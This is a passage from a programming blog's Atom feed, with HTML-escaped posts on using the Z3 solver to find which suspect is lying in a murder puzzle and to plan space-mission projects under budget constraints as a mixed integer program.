&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;art_claims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_friend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Bob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victor&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_friend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Carl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victor&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bob_claims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;knows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Bob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victor&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;carl_claims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;be_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Art&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victor&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;be_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Bob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victor&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assert_and_track&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;art_claims&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assert_and_track&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bob_claims&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assert_and_track&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;carl_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;carl_claims&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, we check if the claims are &lt;em&gt;consistent between&lt;/em&gt; or if there are any &lt;em&gt;contradiction&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nop! Someone is lying!&lt;/p&gt;
&lt;h2 id="finding-the-murder"&gt;Finding the murder&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unsat_core&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;art_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob_claims&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Z3 can calculate the &lt;em&gt;unsat core&lt;/em&gt; that it is a subset of the &lt;em&gt;tracked&lt;/em&gt; restrictions that lead to &lt;em&gt;unsatisfiable&lt;/em&gt; result.&lt;/p&gt;
&lt;p&gt;So Art’s or Bob’s claims is/are producing contradictions.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClozIGRvZXMgbm90IHByb2R1Y2UgdGhlICptaW5pbXVtIHVuc2F0IGNvcmUqIGJ5IGRlZmF1bHQuIFdlIGNvdWxkIGZvcmNlCml0IHRvIGhhdmUgZXhhY3RseSB3aGljaCBjbGFpbSBpcyBmYWxzZSBidXQgaW4gbXkgc2V0dXAgSSBjb3VsZCBub3QgbWFrZQppdCB3b3JrLgoKU28gd2Ugd2lsbCBoYXZlIHRvIGRvIGl0IGJ5IGhhbmQuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClozIGRvZXMgbm90IHByb2R1Y2UgdGhlICptaW5pbXVtIHVuc2F0IGNvcmUqIGJ5IGRlZmF1bHQuIFdlIGNvdWxkIGZvcmNlCml0IHRvIGhhdmUgZXhhY3RseSB3aGljaCBjbGFpbSBpcyBmYWxzZSBidXQgaW4gbXkgc2V0dXAgSSBjb3VsZCBub3QgbWFrZQppdCB3b3JrLgoKU28gd2Ugd2lsbCBoYXZlIHRvIGRvIGl0IGJ5IGhhbmQuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Z3 does not produce the &lt;em&gt;minimum unsat core&lt;/em&gt; by default. We could force it to have exactly which claim is false but in my setup I could not make it work.
&lt;br /&gt;&lt;br /&gt;
So we will have to do it by hand.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;By assumption, only one of the suspects is lying, the rest are telling us the truth. But who is lying?&lt;/p&gt;
&lt;p&gt;We restore the solver before anding the claims and this time we will require not all but at least 2 claims to be true. By assumption the third claim will be false.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AtLeast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;carl_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, what suspect is lying?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art_claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob_claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;carl_claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So Bob is lying!&lt;/p&gt;
&lt;p&gt;To rule out any other possible solution we will roll back the solver again and in this time we use the claims as &lt;em&gt;assumptions&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; method an assumption is a restriction like any other but it is not added to the solver (like when you call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;This is handy way to test different claims combinations without rolling back the entire solver over and over.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob_claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;carl_claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art_claims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;carl_claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Indeed, only when Bob’s claims are &lt;strong&gt;not&lt;/strong&gt; considered we see a consistent scenario.&lt;/p&gt;
&lt;p&gt;Bob was the killer.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/05/09/Solving-a-Murder-Case-with-Z3.html" rel="alternate" type="text/html" title="Solving a Murder Case with Z3"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="propositional logic" label="propositional logic"/>
    <category term="first order" label="first order"/>
    <published>2021-05-09T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/05/02/Planning-Space-Missions.html</id>
    <title>Planning Space Missions with Z3</title>
    <updated>2021-05-02T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A space company is planning the next 4 years. It has several projects, each one with its own budget requirement per year, but the company has a limited budget to invest.&lt;/p&gt;
&lt;p&gt;Moreover, some projects &lt;em&gt;depends&lt;/em&gt; on others to make them feasible and some projects &lt;em&gt;cannot be done&lt;/em&gt; if other projects due unbreakable restrictions.&lt;/p&gt;
&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr class="header"&gt;
&lt;th style="text-align: left;"&gt;Project&lt;/th&gt;
&lt;th style="text-align: center;"&gt;1st&lt;/th&gt;
&lt;th style="text-align: center;"&gt;2nd&lt;/th&gt;
&lt;th style="text-align: center;"&gt;3rd&lt;/th&gt;
&lt;th style="text-align: center;"&gt;4th&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Depends&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Not&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Profit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: left;"&gt;1 Cube-1 nano-sat&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1.1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: left;"&gt;2 Cube-2 nano-sat&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.5&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: left;"&gt;3 Infrared sat&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4.1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;on 6&lt;/td&gt;
&lt;td style="text-align: left;"&gt;with 4&lt;/td&gt;
&lt;td style="text-align: center;"&gt;18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: left;"&gt;4 Colored img sat&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;with 3&lt;/td&gt;
&lt;td style="text-align: center;"&gt;15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: left;"&gt;5 Mars probe&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4.4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;on 1 &amp;amp; 2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: left;"&gt;6 Microwave tech&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.3&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Under an incredible amount of assumptions and good luck, what is the best strategy to maximize the profit?&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;We can model if one project is make or not with a &lt;em&gt;boolean variable&lt;/em&gt; \(P_i\); we not longer are in the plane of &lt;em&gt;pure real linear programming&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The relation between the profit and them is simply:&lt;/p&gt;
$$
Z = max\{12 P_1 + 12 P_2 + 18 P_3 + 15 P_4 + 12 P_5 + 1 P_6 \}
$$
&lt;p&gt;But we have restriction on the budget per year. Let’s say 6 and let’s assume that the unspent budget of one year \(B_j\) can be used the next one (and let’s assume that the unspent budget is not part of the profit).&lt;/p&gt;
$$
1.1 P_1 + 4   P_6 +     B_1                         = 6         \\
2   P_1 + 2.5 P_2 + 2   P_5 + 2.3 P_6 +   B_2       = 6 + B_1   \\
2   P_2 + 1   P_3 + 2   P_4 + 8   P_5 + 2 P_6 + B_3 = 6 + B_2   \\
4.1 P_3 + 8   P_4 + 4.4 P_5 +     B_4               = 6 + B_3
$$
&lt;p&gt;This is &lt;em&gt;mixed linear programming&lt;/em&gt;: mixing integers (booleans) and real arithmetics.&lt;/p&gt;
&lt;p&gt;The interesting part is how to model the restrictions between the projects using only integers/booleans.&lt;/p&gt;
&lt;h2 id="boolean-theory-as-integer-linear-inequalities"&gt;Boolean theory as integer linear inequalities&lt;/h2&gt;
&lt;p&gt;The company could choose to do project 3 or project 4 but not both.&lt;/p&gt;
&lt;p&gt;Becase all the variables \(P_i\) can be 0 or 1, this is modeled as:&lt;/p&gt;
$$
P_3 + P_4 &lt;= 1
$$
&lt;p&gt;In general, &lt;em&gt;zero or one&lt;/em&gt; restriction among \(X_i\) is modeled as&lt;/p&gt;
$$
\sum_{\forall i} X_i &lt;= 1
$$
&lt;p&gt;We can tweak this to make an &lt;em&gt;one and only one&lt;/em&gt; restriction (\(\sum_{\forall i} X_i = 1\)), a &lt;em&gt;at least N&lt;/em&gt; restriction (\(\sum_{\forall i} X_i &gt;= N\)), a &lt;em&gt;no more than N&lt;/em&gt; restriction (\(\sum_{\forall i} X_i &lt;= N\)) and more.&lt;/p&gt;
&lt;p&gt;In particular, the &lt;em&gt;at least 1&lt;/em&gt; is equivalent to do the boolean &lt;em&gt;or&lt;/em&gt; operation: \(X_1 ∨ X_2 ∨ \dots ∨ X_n = Y\)&lt;/p&gt;
&lt;p&gt;What about the dependency restrictions? Project 3 depends on 6 and project 5 depends on 1 and 2.&lt;/p&gt;
$$
P_3 &lt;= P_6          \\
2 P_5 &lt;= P_1 + P_2  \\
$$
&lt;p&gt;In general, a boolean variable \(Y\) depends on \(N\) boolean variables \(X_i\), then&lt;/p&gt;
$$
N Y &lt;= \sum_{\forall i} X_i
$$
&lt;p&gt;As before, we can tweak this to make a &lt;em&gt;depends on at least M&lt;/em&gt; restriction (\(M Y &lt;= \sum_{\forall i} X_i\) with \(M &lt; N\)).&lt;/p&gt;
&lt;p&gt;A \(Y\) depends on \(X_i\) is weaker than \(X_i ⟹  Y\) (in the former case, \(Y\) may be false even of all the dependencies are satisfied).&lt;/p&gt;
&lt;p&gt;An implication can be modeled as:&lt;/p&gt;
$$
N Y &lt;= \sum_{\forall i} X_i &lt;= (N-1) + Y
$$
&lt;p&gt;This last one can be seen as if &lt;strong&gt;all&lt;/strong&gt; the dependencies are set, \(Y\) is set. In boolean terminology, this is an &lt;em&gt;and&lt;/em&gt;: \(X_1 ∧ X_2 ∧ \dots ∧ X_n = Y\)&lt;/p&gt;
&lt;h2 id="z3-time"&gt;Z3 time!&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Bools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optimize&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Optimize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Bools&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;P0 P1 P2 P3 P4 P5 P6&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# P[0] will not be used&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;B0 B1 B2 B3 B4&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# B[0] will not be used&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;profit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maximize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Variables &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are not used, they were created just to make the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; notation to match with the inequalities of above.&lt;/p&gt;
&lt;p&gt;However, I’m not going to let Z3 pick random values for them so I’m going to pin them:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
